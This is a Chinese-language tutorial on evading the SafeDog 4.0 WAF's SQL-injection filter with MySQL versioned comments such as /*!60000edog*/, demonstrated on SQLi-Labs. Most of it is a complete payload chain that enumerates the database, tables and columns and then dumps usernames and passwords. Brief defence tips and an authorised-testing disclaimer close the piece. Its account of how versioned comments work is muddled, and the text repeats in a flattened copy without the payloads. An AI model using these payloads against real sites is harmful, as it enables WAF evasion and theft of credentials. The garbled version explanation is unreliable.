安全狗4.0版本SQL注入绕过一点小技巧,最新2020-10-27官网版本可用
字数 699 2025-08-15 21:32:24

安全狗4.0版本SQL注入绕过技术详解

0x00 前言

本文针对安全狗4.0版本(2020-10-27官网最新版)的SQL注入防护机制进行分析,提供有效的绕过技术。测试环境基于SQLi-Labs的第一关。

0x01 注入点检测绕过

初始拦截情况

  • and 关键字不会被拦截
  • and 后跟数字会被拦截(如 and 1=1

绕过方法

使用MySQL注释语法 /*!500001*/ 进行绕过:

id=1' and /*!500001*/1=/*!500002*/ --+

0x02 字段数探测

已知测试环境有3个字段,直接测试:

id=1' order by /*!60000edog*/3 --+

关键发现:

  • 使用 /*!50000edog*/ 会导致数据库报错
  • 版本数值必须大于5才能成功绕过(如 60000

0x03 数据提取技术

爆库名

id=-1' union select /*!60000edog*/1,/*!60000edog*/database/*!60000edog*/(),/*!60000edog*/3 --+

关键注意事项

  1. 所有SQL关键字之间都需要插入 /*!60000edog*/ 注释

    • select 和字段之间
    • database 和括号之间
    • 所有关键字分隔处
  2. 注释格式必须为 /*!数字edog*/,其中数字建议大于50000

0x04 完整利用示例

获取表名

id=-1' union select /*!60000edog*/1,/*!60000edog*/group_concat(table_name),/*!60000edog*/3 from /*!60000edog*/information_schema.tables where /*!60000edog*/table_schema=/*!60000edog*/database/*!60000edog*/() --+

获取列名

id=-1' union select /*!60000edog*/1,/*!60000edog*/group_concat(column_name),/*!60000edog*/3 from /*!60000edog*/information_schema.columns where /*!60000edog*/table_name='users' --+

获取数据

id=-1' union select /*!60000edog*/1,/*!60000edog*/group_concat(username,0x3a,password),/*!60000edog*/3 from /*!60000edog*/users --+

技术原理分析

  1. MySQL注释语法 /*!50001...*/ 表示当MySQL版本大于等于5.0001时执行注释中的内容
  2. 安全狗可能未正确解析这种特殊注释语法
  3. 添加 edog 字符串可能干扰安全狗的规则匹配机制
  4. 大版本号确保注释内容在所有现代MySQL版本中都会被执行

防御建议

  1. 安全狗用户应及时更新到最新版本
  2. 建议结合其他WAF产品进行多层防护
  3. 应用程序应使用参数化查询等安全编码实践

此技术适用于特定版本的安全狗,随着WAF规则的更新可能失效,建议仅用于安全研究和授权测试场景。

安全狗4.0版本SQL注入绕过技术详解 0x00 前言 本文针对安全狗4.0版本(2020-10-27官网最新版)的SQL注入防护机制进行分析,提供有效的绕过技术。测试环境基于SQLi-Labs的第一关。 0x01 注入点检测绕过 初始拦截情况 and 关键字不会被拦截 and 后跟数字会被拦截(如 and 1=1 ) 绕过方法 使用MySQL注释语法 /*!500001*/ 进行绕过: 0x02 字段数探测 已知测试环境有3个字段,直接测试: 关键发现: 使用 /*!50000edog*/ 会导致数据库报错 版本数值必须大于5才能成功绕过(如 60000 ) 0x03 数据提取技术 爆库名 关键注意事项 所有SQL关键字之间都需要插入 /*!60000edog*/ 注释 select 和字段之间 database 和括号之间 所有关键字分隔处 注释格式必须为 /*!数字edog*/ ,其中数字建议大于50000 0x04 完整利用示例 获取表名 获取列名 获取数据 技术原理分析 MySQL注释语法 /*!50001...*/ 表示当MySQL版本大于等于5.0001时执行注释中的内容 安全狗可能未正确解析这种特殊注释语法 添加 edog 字符串可能干扰安全狗的规则匹配机制 大版本号确保注释内容在所有现代MySQL版本中都会被执行 防御建议 安全狗用户应及时更新到最新版本 建议结合其他WAF产品进行多层防护 应用程序应使用参数化查询等安全编码实践 此技术适用于特定版本的安全狗,随着WAF规则的更新可能失效,建议仅用于安全研究和授权测试场景。